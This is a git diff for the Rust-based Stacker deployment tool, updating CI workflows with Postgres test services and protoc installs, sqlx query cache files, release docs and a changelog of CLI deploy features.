diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md
index 18892b37..c332259f 100644
--- a/.github/copilot-instructions.md
+++ b/.github/copilot-instructions.md
@@ -135,3 +135,11 @@ Unit tests (lib) use `--test-threads=1` (see Makefile) because many share global
 ### CLI commands
 
 `stacker-cli` commands are implemented in `src/cli/`. `console` commands are in `src/console/commands/`. Both use `clap` with `#[derive(Parser, Subcommand)]`. Interactive prompts use `dialoguer`; progress bars use `indicatif`.
+
+### Service deployment scope
+
+`stacker service deploy <name>` is project-scoped by default for services declared in `stacker.yml`. Normal custom services must update `/home/trydirect/project/docker-compose.yml` and must not create `/home/trydirect/<service>/docker-compose.yml` unless the user explicitly chooses standalone mode, such as a future `--standalone` or `--scope standalone` flag.
+
+Only platform-managed services live outside the project directory by default. Current examples are Status Panel (`/home/trydirect/statuspanel`) and Nginx Proxy Manager (`/home/trydirect/nginx_proxy_manager`). Add regression tests for any service/proxy deploy change that could duplicate a project-scoped service as a standalone compose project.
+
+Stacker-managed compose services use stable runtime labels with the `my.stacker.*` prefix: `my.stacker.project_id`, `my.stacker.target`, `my.stacker.scope`, `my.stacker.service`, and `my.stacker.dns`. Keep logical service codes and Docker DNS names separate; for Nginx Proxy Manager use `my.stacker.service=nginx_proxy_manager` and `my.stacker.dns=nginx-proxy-manager`.
diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml
index aa13b880..4a2e46d0 100644
--- a/.github/workflows/docker.yml
+++ b/.github/workflows/docker.yml
@@ -17,8 +17,22 @@ jobs:
 
   cicd-docker:
     name: Cargo and npm build
-    #runs-on: ubuntu-latest
-    runs-on: [self-hosted, linux]
+    runs-on: ubuntu-latest
+    #runs-on: [self-hosted, linux]
+    services:
+      postgres:
+        image: postgres:16
+        env:
+          POSTGRES_USER: postgres
+          POSTGRES_PASSWORD: postgres
+          POSTGRES_DB: postgres
+        ports:
+          - 5432/tcp
+        options: >-
+          --health-cmd "pg_isready -U postgres"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
     env:
       SQLX_OFFLINE: true
     steps:
@@ -26,12 +40,18 @@ jobs:
         uses: actions/checkout@v4
         with:
           ref: ${{ github.ref }}
+      - name: Export PostgreSQL connection env
+        run: |
+          echo "PGHOST=127.0.0.1" >> "$GITHUB_ENV"
+          echo "PGPORT=${{ job.services.postgres.ports['5432'] }}" >> "$GITHUB_ENV"
+          echo "PGUSER=postgres" >> "$GITHUB_ENV"
+          echo "PGPASSWORD=postgres" >> "$GITHUB_ENV"
 
-      - name: Install OpenSSL build deps
+      - name: Install OpenSSL and protoc build deps
         if: runner.os == 'Linux'
         run: |
           sudo apt-get update
-          sudo apt-get install -y pkg-config libssl-dev
+          sudo apt-get install -y pkg-config libssl-dev protobuf-compiler
 
       - name: Verify .sqlx cache exists
         run: |
@@ -68,6 +88,17 @@ jobs:
         run: |
           head -c16 /dev/urandom > src/secret.key
 
+      - name: Wait for PostgreSQL
+        run: |
+          for _ in $(seq 1 60); do
+            if bash -lc "exec 3<>/dev/tcp/${PGHOST}/${PGPORT}" 2>/dev/null; then
+              exit 0
+            fi
+            sleep 1
+          done
+          echo "PostgreSQL did not become ready in time" >&2
+          exit 1
+
       - name: Cache cargo build
         uses: actions/cache@v4
         with:
@@ -114,6 +145,14 @@ jobs:
           command: build
           args: --release --bin server
 
+      - name: Set up Node.js
+        if: ${{ hashFiles('web/package.json') != '' }}
+        uses: actions/setup-node@v4
+        with:
+          node-version: '22'
+          cache: 'npm'
+          cache-dependency-path: web/package-lock.json
+
       - name: npm install, build, and test
         if: ${{ hashFiles('web/package.json') != '' }}
         working-directory: ./web
@@ -155,14 +194,17 @@ jobs:
 
   cicd-linux-docker:
     name: CICD Docker
-    #runs-on: ubuntu-latest
-    runs-on: [self-hosted, linux]
+    runs-on: ubuntu-latest
+    #runs-on: [self-hosted, linux]
     needs: cicd-docker
     steps:
       - name: Checkout sources
         uses: actions/checkout@v4
         with:
           ref: ${{ github.event_name == 'pull_request' && github.head_ref || github.ref }}
+      - name: Verify shared pipe fixtures
+        run: |
+          test -d "${GITHUB_WORKSPACE}/tests/fixtures/pipe-contract"
 
       -
         name: Set up QEMU
@@ -189,13 +231,15 @@ jobs:
         uses: docker/build-push-action@v6
         with:
           context: .
+          build-contexts: |
+            shared_fixtures=${{ github.workspace }}/tests/fixtures
           push: ${{ github.event_name != 'pull_request' }}
           tags: ${{ steps.docker_tags.outputs.tags }}
 
   stackerdb-docker:
     name: StackerDB Docker
-    #runs-on: ubuntu-latest
-    runs-on: [self-hosted, linux]
+    runs-on: ubuntu-latest
+    #runs-on: [self-hosted, linux]
     needs: cicd-docker
     steps:
       - name: Checkout sources
@@ -229,4 +273,3 @@ jobs:
           file: ./stackerdb/Dockerfile
           push: true
           tags: ${{ steps.stackerdb_tags.outputs.tags }}
-
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index d628cfe5..1f724658 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -34,6 +34,14 @@ jobs:
     steps:
       - uses: actions/checkout@v6
 
+      - name: Install protoc
+        run: |
+          if [ "$RUNNER_OS" = "Linux" ]; then
+            sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler
+          elif [ "$RUNNER_OS" = "macOS" ]; then
+            brew install protobuf
+          fi
+
       - name: Install Rust toolchain
         uses: actions-rs/toolchain@v1
         with:
diff --git a/.github/workflows/rust.yml b/.github/workflows/rust.yml
index be903eca..2ebf5add 100644
--- a/.github/workflows/rust.yml
+++ b/.github/workflows/rust.yml
@@ -31,6 +31,13 @@ jobs:
     runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v6
+      - name: Install protoc
+        run: |
+          if [ "$RUNNER_OS" = "Linux" ]; then
+            sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler
+          elif [ "$RUNNER_OS" = "macOS" ]; then
+            brew install protobuf
+          fi
       - name: Verify .sqlx cache exists
         run: |
           ls -lh .sqlx/ || echo ".sqlx directory not found"
@@ -41,27 +48,11 @@ jobs:
           toolchain: stable
           target: ${{ matrix.target }}
           override: true
-      - name: Cache cargo registry
-        uses: actions/cache@v5
-        with:
-          path: ~/.cargo/registry
-          key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ${{ runner.os }}-cargo-registry-
-      - name: Cache cargo index
-        uses: actions/cache@v5
+      - name: Cache Cargo registry/git (no target — cross-compiled release builds cause cache bloat)
+        uses: Swatinem/rust-cache@v2
         with:
-          path: ~/.cargo/git
-          key: ${{ runner.os }}-cargo-index-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ${{ runner.os }}-cargo-index-
-      - name: Cache target directory
-        uses: actions/cache@v5
-        with:
-          path: target
-          key: ${{ runner.os }}-target-${{ matrix.target }}-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ${{ runner.os }}-target-${{ matrix.target }}-
+          cache-targets: "false"
+          key: ${{ matrix.target }}
       - name: Build server (release)
         run: cargo build --release --target ${{ matrix.target }} --bin server --verbose
 
@@ -87,35 +78,49 @@ jobs:
   test:
     name: Run CLI tests
     runs-on: ubuntu-latest
+    services:
+      postgres:
+        image: postgres:16
+        env:
+          POSTGRES_USER: postgres
+          POSTGRES_PASSWORD: postgres
+          POSTGRES_DB: postgres
+        ports:
+          - 5432/tcp
+        options: >-
+          --init
+          --health-cmd "pg_isready -U postgres"
+          --health-interval 10s
+          --health-timeout 5s
+          --health-retries 5
     env:
       SQLX_OFFLINE: true
     steps:
       - uses: actions/checkout@v4
+      - name: Export PostgreSQL connection env
+        run: |
+          echo "PGHOST=127.0.0.1" >> "$GITHUB_ENV"
+          echo "PGPORT=${{ job.services.postgres.ports['5432'] }}" >> "$GITHUB_ENV"
+          echo "PGUSER=postgres" >> "$GITHUB_ENV"
+          echo "PGPASSWORD=postgres" >> "$GITHUB_ENV"
+      - name: Install protoc
+        run: sudo apt-get update -qq && sudo apt-get install -y protobuf-compiler
+      - name: Wait for PostgreSQL
+        run: |
+          for _ in $(seq 1 60); do
+            if bash -lc "exec 3<>/dev/tcp/${PGHOST}/${PGPORT}" 2>/dev/null; then
+              exit 0
+            fi
+            sleep 1
+          done
+          echo "PostgreSQL did not become ready in time" >&2
+          exit 1
       - name: Install Rust toolchain
         uses: actions-rs/toolchain@v1
         with:
           toolchain: stable
           override: true
-      - name: Cache cargo registry
-        uses: actions/cache@v4
-        with:
-          path: ~/.cargo/registry
-          key: ubuntu-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ubuntu-cargo-registry-
-      - name: Cache cargo index
-        uses: actions/cache@v4
-        with:
-          path: ~/.cargo/git
-          key: ubuntu-cargo-index-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ubuntu-cargo-index-
-      - name: Cache target directory
-        uses: actions/cache@v4
-        with:
-          path: target
-          key: ubuntu-target-tests-${{ hashFiles('**/Cargo.lock') }}
-          restore-keys: |
-            ubuntu-target-tests-
+      - name: Cache Cargo registry/git/target (with stale-artifact pruning)
+        uses: Swatinem/rust-cache@v2
       - name: Run CLI integration tests
         run: cargo test --tests --verbose
diff --git a/.gitignore b/.gitignore
index 9218add7..ad2a7530 100644
--- a/.gitignore
+++ b/.gitignore
@@ -10,4 +10,10 @@ configuration.yaml.orig
 docker/local/
 docs/*.sql
 config-to-validate.yaml
-*.bak
\ No newline at end of file
+*.bak
+.claude/
+
+plan/
+.stacker
+done.txt
+post-deploy-ran.txt
diff --git a/.sqlx/query-1108f78f1238d79a63ed5872b40a61e5bf9278b220373771cecb87850002e58e.json b/.sqlx/query-1108f78f1238d79a63ed5872b40a61e5bf9278b220373771cecb87850002e58e.json
deleted file mode 100644
index 78373b6c..00000000
--- a/.sqlx/query-1108f78f1238d79a63ed5872b40a61e5bf9278b220373771cecb87850002e58e.json
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-  "db_name": "PostgreSQL",
-  "query": "UPDATE stack_template SET \n            name = COALESCE($2, name),\n            short_description = COALESCE($3, short_description),\n            long_description = COALESCE($4, long_description),\n            category_id = COALESCE((SELECT id FROM stack_category WHERE name = $5), category_id),\n            tags = COALESCE($6, tags),\n            tech_stack = COALESCE($7, tech_stack),\n            price = COALESCE($8, price),\n            billing_cycle = COALESCE($9, billing_cycle),\n            currency = COALESCE($10, currency)\n        WHERE id = $1::uuid",
-  "describe": {
-    "columns": [],
-    "parameters": {
-      "Left": [
-        "Uuid",
-        "Varchar",
-        "Text",
-        "Text",
-        "Text",
-        "Jsonb",
-        "Jsonb",
-        "Float8",
-        "Varchar",
-        "Varchar"
-      ]
-    },
-    "nullable": []
-  },
-  "hash": "1108f78f1238d79a63ed5872b40a61e5bf9278b220373771cecb87850002e58e"
-}
diff --git a/.sqlx/query-1f1b8182d59d8253662da0ea73b69b6857e5f3c8f4292ba9c4491e062591575b.json b/.sqlx/query-1f1b8182d59d8253662da0ea73b69b6857e5f3c8f4292ba9c4491e062591575b.json
deleted file mode 100644
index 4fe673bd..00000000
--- a/.sqlx/query-1f1b8182d59d8253662da0ea73b69b6857e5f3c8f4292ba9c4491e062591575b.json
+++ /dev/null
@@ -1,28 +0,0 @@
-{
-  "db_name": "PostgreSQL",
-  "query": "\n        INSERT INTO project (stack_id, user_id, name, metadata, created_at, updated_at, request_json)\n        VALUES ($1, $2, $3, $4, $5, $6, $7)\n        RETURNING id;\n        ",
-  "describe": {
-    "columns": [
-      {
-        "ordinal": 0,
-        "name": "id",
-        "type_info": "Int4"
-      }
-    ],
-    "parameters": {
-      "Left": [
-        "Uuid",
-        "Varchar",
-        "Text",
-        "Json",
-        "Timestamptz",
-        "Timestamptz",
-        "Json"
-      ]
-    },
-    "nullable": [
-      false
-    ]
-  },
-  "hash": "1f1b8182d59d8253662da0ea73b69b6857e5f3c8f4292ba9c4491e062591575b"
-}
diff --git a/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json b/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json
new file mode 100644
index 00000000..543f2e90
--- /dev/null
+++ b/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json
@@ -0,0 +1,20 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        INSERT INTO marketplace_event (\n            template_id,\n            event_type,\n            viewer_user_id,\n            deployer_user_id,\n            cloud_provider,\n            occurred_at,\n            metadata\n        )\n        VALUES ($1, $2, $3, $4, $5, $6, $7)\n        ",
+  "describe": {
+    "columns": [],
+    "parameters": {
+      "Left": [
+        "Uuid",
+        "Varchar",
+        "Varchar",
+        "Varchar",
+        "Varchar",
+        "Timestamptz",
+        "Jsonb"
+      ]
+    },
+    "nullable": []
+  },
+  "hash": "55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34"
+}
diff --git a/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json b/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json
new file mode 100644
index 00000000..f85f5f13
--- /dev/null
+++ b/.sqlx/query-8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c.json
@@ -0,0 +1,14 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        UPDATE stack_template \n        SET view_count = 100, deploy_count = 50\n        WHERE id = $1\n        ",
+  "describe": {
+    "columns": [],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": []
+  },
+  "hash": "8572f1b25eb32d67fa2e8a11e2fdc1e9ccacb150cdba0063dd71ff6133eef99c"
+}
diff --git a/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json b/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json
new file mode 100644
index 00000000..d1b50301
--- /dev/null
+++ b/.sqlx/query-9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8.json
@@ -0,0 +1,52 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        SELECT \n            template_id,\n            event_type,\n            deployer_user_id,\n            cloud_provider,\n            occurred_at,\n            metadata\n        FROM marketplace_event\n        WHERE template_id = $1 AND event_type = 'deploy'\n        ORDER BY occurred_at DESC\n        LIMIT 1\n        ",
+  "describe": {
+    "columns": [
+      {
+        "ordinal": 0,
+        "name": "template_id",
+        "type_info": "Uuid"
+      },
+      {
+        "ordinal": 1,
+        "name": "event_type",
+        "type_info": "Varchar"
+      },
+      {
+        "ordinal": 2,
+        "name": "deployer_user_id",
+        "type_info": "Varchar"
+      },
+      {
+        "ordinal": 3,
+        "name": "cloud_provider",
+        "type_info": "Varchar"
+      },
+      {
+        "ordinal": 4,
+        "name": "occurred_at",
+        "type_info": "Timestamptz"
+      },
+      {
+        "ordinal": 5,
+        "name": "metadata",
+        "type_info": "Jsonb"
+      }
+    ],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": [
+      false,
+      false,
+      true,
+      true,
+      true,
+      true
+    ]
+  },
+  "hash": "9297aaf7dfb0d285baa3e6cb471753d2d19be70b8fd380a73c704e4ae51b3ae8"
+}
diff --git a/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json b/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json
new file mode 100644
index 00000000..b3d411be
--- /dev/null
+++ b/.sqlx/query-a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd.json
@@ -0,0 +1,19 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        INSERT INTO stack_template (\n            id,\n            creator_user_id,\n            creator_name,\n            name,\n            slug,\n            short_description,\n            status,\n            tags,\n            tech_stack,\n            view_count,\n            deploy_count,\n            created_at,\n            updated_at\n        )\n        VALUES ($1, $2, $3, $4, $5, $6, 'approved', '[]'::jsonb, '{}'::jsonb, 0, 0, NOW(), NOW())\n        ",
+  "describe": {
+    "columns": [],
+    "parameters": {
+      "Left": [
+        "Uuid",
+        "Varchar",
+        "Varchar",
+        "Varchar",
+        "Varchar",
+        "Text"
+      ]
+    },
+    "nullable": []
+  },
+  "hash": "a4a4fd9930446021a166ead8216aaa891d03210da3c4ffe2bc7be18efcfc52bd"
+}
diff --git a/.sqlx/query-ab22f5f84d90a3c2717cea339f6444c6c2656615fb29b4c04031a090cf103bdd.json b/.sqlx/query-ab22f5f84d90a3c2717cea339f6444c6c2656615fb29b4c04031a090cf103bdd.json
deleted file mode 100644
index f684d17e..00000000
--- a/.sqlx/query-ab22f5f84d90a3c2717cea339f6444c6c2656615fb29b4c04031a090cf103bdd.json
+++ /dev/null
@@ -1,68 +0,0 @@
-{
-  "db_name": "PostgreSQL",
-  "query": "INSERT INTO stack_template_version (\n            template_id, version, stack_definition, definition_format, changelog, is_latest\n        ) VALUES ($1,$2,$3,$4,$5,true)\n        RETURNING id, template_id, version, stack_definition, definition_format, changelog, is_latest, created_at",
-  "describe": {
-    "columns": [
-      {
-        "ordinal": 0,
-        "name": "id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 1,
-        "name": "template_id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 2,
-        "name": "version",
-        "type_info": "Varchar"
-      },
-      {
-        "ordinal": 3,
-        "name": "stack_definition",
-        "type_info": "Jsonb"
-      },
-      {
-        "ordinal": 4,
-        "name": "definition_format",
-        "type_info": "Varchar"
-      },
-      {
-        "ordinal": 5,
-        "name": "changelog",
-        "type_info": "Text"
-      },
-      {
-        "ordinal": 6,
-        "name": "is_latest",
-        "type_info": "Bool"
-      },
-      {
-        "ordinal": 7,
-        "name": "created_at",
-        "type_info": "Timestamptz"
-      }
-    ],
-    "parameters": {
-      "Left": [
-        "Uuid",
-        "Varchar",
-        "Jsonb",
-        "Varchar",
-        "Text"
-      ]
-    },
-    "nullable": [
-      false,
-      false,
-      false,
-      false,
-      true,
-      true,
-      true,
-      true
-    ]
-  },
-  "hash": "ab22f5f84d90a3c2717cea339f6444c6c2656615fb29b4c04031a090cf103bdd"
-}
diff --git a/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json b/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json
new file mode 100644
index 00000000..dcd249d0
--- /dev/null
+++ b/.sqlx/query-b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7.json
@@ -0,0 +1,22 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        SELECT occurred_at\n        FROM marketplace_event\n        WHERE template_id = $1\n        ORDER BY occurred_at DESC\n        LIMIT 1\n        ",
+  "describe": {
+    "columns": [
+      {
+        "ordinal": 0,
+        "name": "occurred_at",
+        "type_info": "Timestamptz"
+      }
+    ],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": [
+      true
+    ]
+  },
+  "hash": "b7730c23ed912fb66727333a9d362341bcc8f006dcfcd91033691ce35a2d5cb7"
+}
diff --git a/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json b/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json
new file mode 100644
index 00000000..cfe98af8
--- /dev/null
+++ b/.sqlx/query-cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d.json
@@ -0,0 +1,14 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        UPDATE stack_template \n        SET view_count = 42, deploy_count = 15\n        WHERE id = $1\n        ",
+  "describe": {
+    "columns": [],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": []
+  },
+  "hash": "cb2a7c29711368a898ecc25e45303399e5d8b6713dcfb5f3bc704ef98842669d"
+}
diff --git a/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json b/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json
new file mode 100644
index 00000000..d2becaaf
--- /dev/null
+++ b/.sqlx/query-d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3.json
@@ -0,0 +1,14 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "\n        UPDATE stack_template \n        SET view_count = 25, deploy_count = 10\n        WHERE id = $1\n        ",
+  "describe": {
+    "columns": [],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": []
+  },
+  "hash": "d14f61cd13654182ec393276acb329737a3ce95efe860659aa5a85888b82c4d3"
+}
diff --git a/.sqlx/query-db15f82b91377978db22c48cf2fb4d54ef603448c0c44272aec8f2ff04920b83.json b/.sqlx/query-db15f82b91377978db22c48cf2fb4d54ef603448c0c44272aec8f2ff04920b83.json
deleted file mode 100644
index 0300aa28..00000000
--- a/.sqlx/query-db15f82b91377978db22c48cf2fb4d54ef603448c0c44272aec8f2ff04920b83.json
+++ /dev/null
@@ -1,81 +0,0 @@
-{
-  "db_name": "PostgreSQL",
-  "query": "\n        UPDATE project\n        SET \n            stack_id=$2,\n            user_id=$3,\n            name=$4,\n            metadata=$5,\n            request_json=$6,\n            updated_at=NOW() at time zone 'utc'\n        WHERE id = $1\n        RETURNING *\n        ",
-  "describe": {
-    "columns": [
-      {
-        "ordinal": 0,
-        "name": "id",
-        "type_info": "Int4"
-      },
-      {
-        "ordinal": 1,
-        "name": "stack_id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 2,
-        "name": "user_id",
-        "type_info": "Varchar"
-      },
-      {
-        "ordinal": 3,
-        "name": "name",
-        "type_info": "Text"
-      },
-      {
-        "ordinal": 4,
-        "name": "metadata",
-        "type_info": "Json"
-      },
-      {
-        "ordinal": 5,
-        "name": "created_at",
-        "type_info": "Timestamptz"
-      },
-      {
-        "ordinal": 6,
-        "name": "updated_at",
-        "type_info": "Timestamptz"
-      },
-      {
-        "ordinal": 7,
-        "name": "request_json",
-        "type_info": "Json"
-      },
-      {
-        "ordinal": 8,
-        "name": "source_template_id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 9,
-        "name": "template_version",
-        "type_info": "Varchar"
-      }
-    ],
-    "parameters": {
-      "Left": [
-        "Int4",
-        "Uuid",
-        "Varchar",
-        "Text",
-        "Json",
-        "Json"
-      ]
-    },
-    "nullable": [
-      false,
-      false,
-      false,
-      false,
-      false,
-      false,
-      false,
-      false,
-      true,
-      true
-    ]
-  },
-  "hash": "db15f82b91377978db22c48cf2fb4d54ef603448c0c44272aec8f2ff04920b83"
-}
diff --git a/.sqlx/query-f93b65a30034b0558781a3173986706ad8a6255bba2812d4e32da205773c6de9.json b/.sqlx/query-f93b65a30034b0558781a3173986706ad8a6255bba2812d4e32da205773c6de9.json
deleted file mode 100644
index 7dff9113..00000000
--- a/.sqlx/query-f93b65a30034b0558781a3173986706ad8a6255bba2812d4e32da205773c6de9.json
+++ /dev/null
@@ -1,64 +0,0 @@
-{
-  "db_name": "PostgreSQL",
-  "query": "SELECT \n            id,\n            template_id,\n            version,\n            stack_definition,\n            definition_format,\n            changelog,\n            is_latest,\n            created_at\n        FROM stack_template_version WHERE template_id = $1 AND is_latest = true LIMIT 1",
-  "describe": {
-    "columns": [
-      {
-        "ordinal": 0,
-        "name": "id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 1,
-        "name": "template_id",
-        "type_info": "Uuid"
-      },
-      {
-        "ordinal": 2,
-        "name": "version",
-        "type_info": "Varchar"
-      },
-      {
-        "ordinal": 3,
-        "name": "stack_definition",
-        "type_info": "Jsonb"
-      },
-      {
-        "ordinal": 4,
-        "name": "definition_format",
-        "type_info": "Varchar"
-      },
-      {
-        "ordinal": 5,
-        "name": "changelog",
-        "type_info": "Text"
-      },
-      {
-        "ordinal": 6,
-        "name": "is_latest",
-        "type_info": "Bool"
-      },
-      {
-        "ordinal": 7,
-        "name": "created_at",
-        "type_info": "Timestamptz"
-      }
-    ],
-    "parameters": {
-      "Left": [
-        "Uuid"
-      ]
-    },
-    "nullable": [
-      false,
-      false,
-      false,
-      false,
-      true,
-      true,
-      true,
-      true
-    ]
-  },
-  "hash": "f93b65a30034b0558781a3173986706ad8a6255bba2812d4e32da205773c6de9"
-}
diff --git a/BUILD_RELEASE.md b/BUILD_RELEASE.md
index 59376574..d714b296 100644
--- a/BUILD_RELEASE.md
+++ b/BUILD_RELEASE.md
@@ -18,18 +18,18 @@ git pull
 ### 2) Create and publish the release
 
 ```bash
-gh release create v0.2.7 --generate-notes
+gh release create v0.2.8 --generate-notes
 ```
 
-This creates the `v0.2.7` tag and publishes the release, which triggers:
+This creates the `v0.2.8` tag and publishes the release, which triggers:
 
 - CLI binary builds (linux + macOS) and uploads to the release.
-- Docker image build and push tagged as `trydirect/stacker:v0.2.7`.
+- Docker image build and push tagged as `trydirect/stacker:v0.2.8`.
 
 ### 3) Verify artifacts
 
 ```bash
-gh release view v0.2.7 --json assets --jq '.assets[].name'
+gh release view v0.2.8 --json assets --jq '.assets[].name'
 ```
 
 ### 4) Check workflows
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 81ea0f64..ab77e1b4 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,6 +4,339 @@ All notable changes to this project will be documented in this file.
 
 ## [Unreleased]
 
+### Added — Remote project initialization via `--from-github`
+
+- Added `stacker init --from-github <url>` (short flag: `-g`) to automatically
+  generate a `stacker.yml` by cloning a GitHub repository into a temp directory,
+  detecting the project type and compose-defined services, inferring healthchecks
+  for infrastructure images (postgres, redis, mysql, mongo, rabbitmq,
+  elasticsearch), and writing the config to the current directory.
+  Accepts `owner/repo` shorthand and full `https://github.com/owner/repo` URLs,
+  with optional `.git` suffix.
+- `stacker init --from-github` also generates `.env.example` from detected
+  environment variables, marking secret-looking keys (password, secret, key,
+  token) as empty, and creates `scripts/generate-secrets.sh` for one-command
+  local secret generation via `openssl rand -hex`.
+- The remote init path reuses the existing local detection and config generation
+  pipeline (`detect_workspace`, `ConfigBuilder`, `DockerfileBuilder`) unchanged —
+  the GitHub clone is the only net-new I/O step.
+- `.stacker/` artifact generation and cloud setup wizard are skipped for
+  `--from-github` to avoid stale temporary-paths in generated artifacts.
+
+### Added — Onboarding setup helpers
+
+- Added `stacker config setup ai` to enable and update `ai.*` settings from the
+  CLI, including Ollama-friendly `--provider`, `--endpoint`, `--model`,
+  `--timeout`, and repeatable `--task` options.
+- Cloud/server deploys now bootstrap missing `.env` files from adjacent
+  `.env.example` files when compose or `stacker.yml` references them, using
+  restrictive local permissions where supported.
+- Cloud deploy `--key` and `--key-id` overrides are resolved through the active
+  logged-in Stacker API before prompt selection, and non-interactive shells now
+  receive actionable cloud credential guidance instead of hanging.
+- Deploy validation now prints concise private registry credential guidance when
+  images may require authentication and no registry auth is resolved.
+- `stacker config validate` now points users to `stacker config fix` when it
+  finds empty structural path fields.
+- Cloud/server deploys now skip post-deploy server IP polling and local backup
+  key installation after terminal paused/error statuses, avoiding repeated
+  "server IP not yet assigned" retries after a failed installer run.
+- Hetzner cloud deploys now normalize user-facing location aliases such as
+  `nbg1` to installer-compatible datacenter values such as `nbg1-dc3` before
+  publishing install-service payloads.
+- `stacker config setup cloud` now suggests Hetzner `cx23` by default instead
+  of older `cpx*` examples.
+- Remote config bundles now keep compose `env_file` and bind-mount references
+  project-relative so Docker Compose sees copied files under
+  `/home/trydirect/project`.
+- Cloud/server deploy output now lists config-bundle file mappings and rejects
+  absolute config-bundle destinations before sending a deploy request.
+- Deploy-time config files are now mirrored into the installer runtime-file
+  contract so non-compose files such as `.env` are materialized before Docker
+  Compose starts.
+
+## [0.3.1] — 2026-07-15
+
+### Fixed — CLI deploy & config bundling
+
+- Deploy-time config files (bind-mount files and the env file) are now bundled
+  on every cloud/server deploy, not only when a `deploy.environment` profile is
+  selected. Previously, deploys without an environment silently shipped no
+  config files.
+- A synthetic fallback environment used when no profile is selected is no longer
+  leaked into the deploy-time `environment` field sent to the server/installer.
+- Bind-mount and `env_file` references in a generated `.stacker/` compose now
+  resolve against the project root instead of the `.stacker/` output directory,
+  fixing `config bundle referenced file does not exist: .../.stacker/./<file>`.
+- Directory bind mounts (e.g. `./library`, `./assets`, `./config`) and sources
+  that don't exist locally no longer block the deploy — they pass through and
+  are created on the target host. `env_file:` entries remain strictly required.
+- `config setup server`, `config unlock`, and `config apply-lock` now perform
+  targeted, formatting-preserving edits of `stacker.yml`: they no longer reorder
+  sections, drop keys not modeled by the CLI (such as `config_contract`), or add
+  `null`/empty-collection noise. The `# @stacker-origin: marketplace` trust
+  marker is preserved across edits.
+- The `--lock` writeback and `config apply-lock` read `stacker.yml` raw, so
+  `${VAR}` placeholders in unrelated fields are no longer resolved and baked into
+  the written file.
+
+### Changed
+
+- `config setup server`, `config unlock`, and `config apply-lock` now ask for
+  confirmation before rewriting `stacker.yml` and refuse to modify it in a
+  non-interactive session rather than editing it silently.
+
+## [0.2.8] — 2026-05-15
+### Added — Configuration inventory, diff, check, and promotion planning
+
+- Added `stacker config inventory --env <name>` to list effective configuration
+  keys by app/service target and source without printing secret values.
+- Added `stacker config diff --from <env> --to <env>` to compare local
+  environment/profile inventories and report missing, target-only, and changed
+  keys.
